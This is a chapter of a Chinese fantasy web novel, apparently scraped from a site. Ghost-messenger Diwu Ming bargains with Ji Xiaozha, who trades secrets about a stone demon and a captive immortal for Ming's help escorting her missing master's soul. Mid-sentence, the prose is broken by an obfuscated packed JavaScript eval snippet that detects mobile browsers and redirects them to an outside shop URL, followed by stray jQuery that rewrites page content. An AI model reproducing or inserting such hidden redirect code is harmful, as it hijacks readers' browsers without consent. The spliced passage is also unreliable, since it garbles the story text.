257. 功成不成是一劫2
作品:《谁家好仙跑去地府打工》 第五茗双目瞪大,仔细看起这幅画,道:“这是信?毛线…骷髅头,这…什么意思?”
蓟小札用手中炭笔在小像上指指画画,道:“左侧为时间地点,右侧是所要祈求的事情。”
没想到,此刻竟还玩上又画又猜的游戏,第五茗一怔,十指戳在左上肢那一团短线旁,道:“毛线…冬至?”
蓟小札炭笔格挡走她的指头,道:“这是火花庆典,是大年之时。”
第五茗额角一抽一抽,心道:谁教的这“小孩”!
哪有谈事情,约在这种时候。
须臾,她看见蓟小札的炭笔往下一走,指着左下肢的那道图画,道:“箭头向下,是指拿到信件所在的位置。”
第五茗提问道:“如果箭头往右呢?”
蓟小札摇头道:“一般只用箭头向下,不然便画其他地界的物什。”
第五茗道:“京都怎么画?”
蓟小札炭笔在旁一动,没有作画,写了一个“人”字,道:“有人上人所在的地方,便是京都。”
不置可否,第五茗又问道:“换做风雨江呢?”
蓟小札手中的炭笔往下挪了两寸,斜着画了水波纹,道:“激流之地,风雨江。”
第五茗眼睛一亮,道:“平凉郡呢?”
蓟小札炭笔又往下移了两寸,笔头却是一顿,没有继续。
第五茗抬头看向她,便见她嘟囔道:“我时间不多,没空玩稚童游戏,茗道长如果太空闲,可去找那东岳帝君,反正他是从以前那座迎新城出来的人,他都清楚。”
第五茗笑了笑,揣起双手,在袖中相互打了一掌,端坐在凳,道:“我们继续说你的小像画。”
蓟小札道:“骷髅头是死人的意思,下方是岩石。”
第五茗道:“死人?岩石?”
蓦地,蓟小札神色黯然,语气也沉了几度,道:“右上为所求之事,右下是我能给你的额外报酬。”
第五茗目光一凝,道:“关于你家大人?”
蓟小札眼睛一亮,道:“不愧是前任司命真君。”
第五茗心想:倒是把我也打探仔细了…
紧接着,她似乎想要将话声传入前方的将士耳中,故意将这一句提高音量道:“我家大人乃是大盛国宰相蓟安塬,他为国为民,鞠躬尽瘁,为雍凉城的一桩旧事,而离开了人帝庇护,至今,杳无音讯。”
大盛国?!!
第五茗眉头一蹙,道:“有好几万年了,你家大人…应该是不可能还活在世上。”
一时之间,安慰的话不知如何去说。
大盛国时期的人,都可以叫对方一声祖宗了,哪还有生死可言。
沉吟片刻,她道:“你可是查到什么了?”
蓟小札道:“我家大人没有飞仙…”
第五茗颔首道:“的确,天界没有这一号人物。”
蓟小札冷不丁地道:“亦没有轮回。”
第五茗心间一震,道:“没有轮回?!!你确定?做过大事的人,皆有仙君接引往生,他怎么可能飘荡在外?”
蓟小札道:“负责接引的仙君我也查到了,因我家大人功德无数,是以,他亡故之时,负责引送他亡魂的仙君派头也不小,是当年风光无量,如今权利至高的雷部将帅,风真君。”
风有情?
此事是风有情去办,就更不可能有疏漏了。
第五茗紧急叫停道:“等等等…”
话越扯越远,事越扯越大,看向那札页上的小像,她心中有一瞬不好的预感,道:“你留这信给我,究竟是想做什么?”
蓟小札满脸歉意,仿佛即将说出口的话,让她违背了蓟安塬交予她的道理。
半晌,她唇齿轻启,道:“我知道石妖要害你,把信藏在土地像中,便是想躲避石妖的眼线…我想用石妖的秘辛和两箱金,换一次为我家大人修命的机会。”
第五茗额心一跳,道:“你怎么知道你家大人魂魄尚在?”
蓟小札指了指自己,道:“因为我从未消失。”
第五茗道:“你是蓟安塬的近身之物?”
蓟小札放下手,点点头,道:“我是大人的手札…记万事始末,辨万理之向,承万人称赞。我因大人而存在,因大人而降生,因大人而幻形,因大人而行走世间。”
第五茗忽然觉悟,刚刚她是被套话了。
她问蓟小札关于隗晎的行踪,蓟小札猜测出她没见过小像信,便借机故意透露两份追加榜事酬劳的缘由,又借一步用小像告知她危险,继而…
继而,就该引诱她探知石妖消息了。
理清这些,第五茗沉思道:“你与隗七已达成交易,为何还要把这「信」单独画出来给我看?你还想拿石妖消息同我换什么?”
蓟小札浅浅一笑,道:“茗道长不愧是拥有天生神格之人,真的很聪明。”
临了,她炭笔点在那右下肢的岩石上,道:“石妖和东岳帝君的消息,换你亲自引送我家大人。”
引送鬼魂????
第五茗有点纳闷了,蓟小札绕这么大一圈,居然是想求她这名鬼差,去接一名鬼魂入冥界地府。
这种对口的事…还真是百年难得一遇。
噗嗤一笑,她道:“蓟小札,你知不知道你在说什么?如果你家大人真现世了,如今引送他的人可是雷部当家人风有情,你确定要放着一名真君不要,让我去?”
蓟小札坦诚道:“我不信风有情。”
闻言,第五茗收起了笑容,认真聆听。
蓟小札道:“东岳帝君曾是一日司命,又与你相处良久,他给的法子,我自是相信的。”
“他让我以大人一世功德放榜,引诱各界之人寻觅。”
“榜事…在我苏醒那日,早已托一名小妖代为发放,按理应该是有人找过我家大人,只是不知为何,除了疆外一个方向,没有更多消息,像是有人故意在阻拦。”
第五茗道:“因此事,你怀疑风有情?”
点拨其间不妥之处,她道:“做到宰相一位,蓟大人必定乃大德之人,他想隐匿踪影,或是暴显痕迹,别人是无法操控。”
“至今,你没有收到蓟大人的消息,想来是榜事中诱惑不大,世间有点点痕迹,也无人愿意前往。”
“而隗七交予你的法子也没有问题,蓟大人一世功德现世,先不说足够的声誉和钱财,能让天上仙、地下鬼为你跑断腿,便是那功德之内蕴含的气息,便可以助任何一个人追踪到蓟大人的位置。”
蓟小札道:“这些我都知道。”
说完这话,她有片刻局促,好大一会儿,她才微不可闻地讲道:“眼下,我只愿意信任你。”
第五茗一愣。
蓟小札声如飞蚊,道:“东岳帝君愿意为你只身赴险,乐正姑娘愿拼命护你,京郊城隍庙外,连风有情都紧张你,我猜你这人…应该还不错。”
第五茗再一怔。
蓟小札握住膝上札册,咬紧牙关道:“大人是我毕生之愿,我只想大人平平安安回家。”
第五茗目光一顿。
从手背捻出那道字纹墨迹,蓟小札托举在手中,仰头看向第五茗,灿烂笑道:“我无命、无功、无德,幻形于世,全是因为大人的一世功德在我身上。”
“手上还有些事情没有做完,大人一定不喜欢我半途而废,待到年中事毕,我会放榜…”
第五茗终于从那变化异常的情绪中抽离出来,道:“你要交出蓟大人的功德,那你呢?”
蓟小札道:“那时候,我自己就没办法亲自接大人回家了,还好找到了一个最最最可靠的人,可以代替我,去接大人回来。”
身子一滑,不顾周围人的异样眼光,她双膝跪地,手中捧着那滩独属于蓟安塬的气息墨迹,高举头顶,道:“还望茗道长帮我一次。”
第五茗“噌”地从凳上站了起来,道:“不行。”
四周慢慢有人驻足围观,亦有不少将士回头张望,却无人敢上前探听。
第五茗道:“事涉天界真君,你一句信任,便要我争
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876227|171191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抢他人之事。蓟小札,你实在是自负。”
蓟小札没有起身,继续保持这番姿势,突然道:“石妖真身是泰山道上的一块垫脚石,机缘巧合,开智幻身,占据泰山旁的一片石林为巢,靠驱策小妖,强夺凡间生人之命修炼。”
“她勘透命理,能以血香司命,法力不算醇厚,却善设局布阵。”
“最重要的一点,她所做所为,我梳理后发现,一为图你,二为谋东岳帝君。”
第五茗侧头扫了一眼热议的百姓,蹙眉道:“我没答应你,你不用告诉我。还有,你快些起来,此地人多。”
蓟小札没有停下,接着道:“此为石妖的秘辛,关于东岳帝君…据我所知,七日前他入石林便没有出来,且还有不少仙君去往那石林。”
第五茗像是被什么东西刺了一下,脑中闪过城隍庙中,与溪亖音和南泥见的那一面,握住蓟小札的手腕,把人拉了起,问道:“隗七做什么了?”
问出这句话的时候,她低头看了眼腰间的通印。
此刻,她才察觉出一丝不对劲儿…
生死之际,隗晎没有寻气而来。
她慌乱道:“你还知道什么?隗七怎么了,其他仙君是谁?他们现下如何?”
蓟小札放下手,捧与第五茗面前,威胁道:“交易。”
“奉德放榜以后,茗道长要去接下榜事。”
第五茗蓦地升起一丝厌恶,盯向那团墨迹,道:“你确定只让我一人揭榜?你想清楚了吗?万一我等不到年中…”
蓟小札笑道:“我不怕赌,只怕所托非人。”
一只手抬了起来,她盖住了第五茗的手掌。
踟蹰半晌,第五茗终是将那团墨迹接引了过去。
霎时,那团墨迹化作了一道纹痕,圈在了她右手中指。
她收回手,道:“我接下了,你可以回答我的问题了。”
蓟小札松了一口气,道:“天界和冥界没有消息传出,东岳帝君暂时无碍,至少…还未伤及性命。”
“但迎去的几名仙君却不太好,他们找到了石林的入口结界,听说泰山脚下,这几日哀嚎不断,似野兽嘶鸣,他们…目前不知死活,好在,从未出现有神格落下天道的景象。”
那丝厌恶的情绪,早在第五茗心跟着她的话一跳一紧时,消失得无影无踪,取而代之,是惶惶不安的焦虑之感。
最后这一个消息,她自己也是看得出来,近几日艳阳高照,的确尚没有噩耗之色。
验证到蓟小札说的都是真话,忽然,第五茗双眼开始跳动,心中愈发安定不下来,思绪急转。
她拿出那叠带有通印神力的符纸,咬破指尖,在上面画涂‘斩破此时命线’的符纸。
而后,塞到蓟小札手中,她道:“我必须去看看。”
指了指那叠符纸,她朝蓟小札示意手上冒血的伤口,索要道:“新生水还有吗?”
蓟小札摇摇头,抽下自己的一根银丝,帮她缠住伤口,道:“可以止血。”
第五茗见指头不再渗血,随即,又指了指蓟小札怀中的符纸,道:“司命用的,如果核查出来有人纳财修命,便用这张符纸,烧毁他们带来的铜钱。”
蓟小札颔首道:“我知道了。”
嘱咐完重要之事,第五茗登时从爻仁囊中掏出一张瞬息符,手腕却被蓟小札抓住,只见对方摇了摇头,另一手暗指旁边的生人,道:“不急在这一时,茗道长还是走出镇外,找一个无人的地方吧。”
第五茗抽出手,道:“告辞。”
顿时,脚尖一蹬,她手握那张瞬息符,朝镇口外疾跑而去。
百姓疑惑的嚷声,从她耳边飞过。
赵千翼见她行色匆匆,想上前拉住她问问发生了何事,赶来的蓟小札,一把带走了他,道:“你别多事,镇中没有发生任何事,仅是茗道长自己有事要离开。”
立马,蓟小札拿着那叠血符,对街道对面的荀霁扬了扬,大声道:“荀大人,茗道长有事先走一步,她把东西交给我了,不会耽搁。”

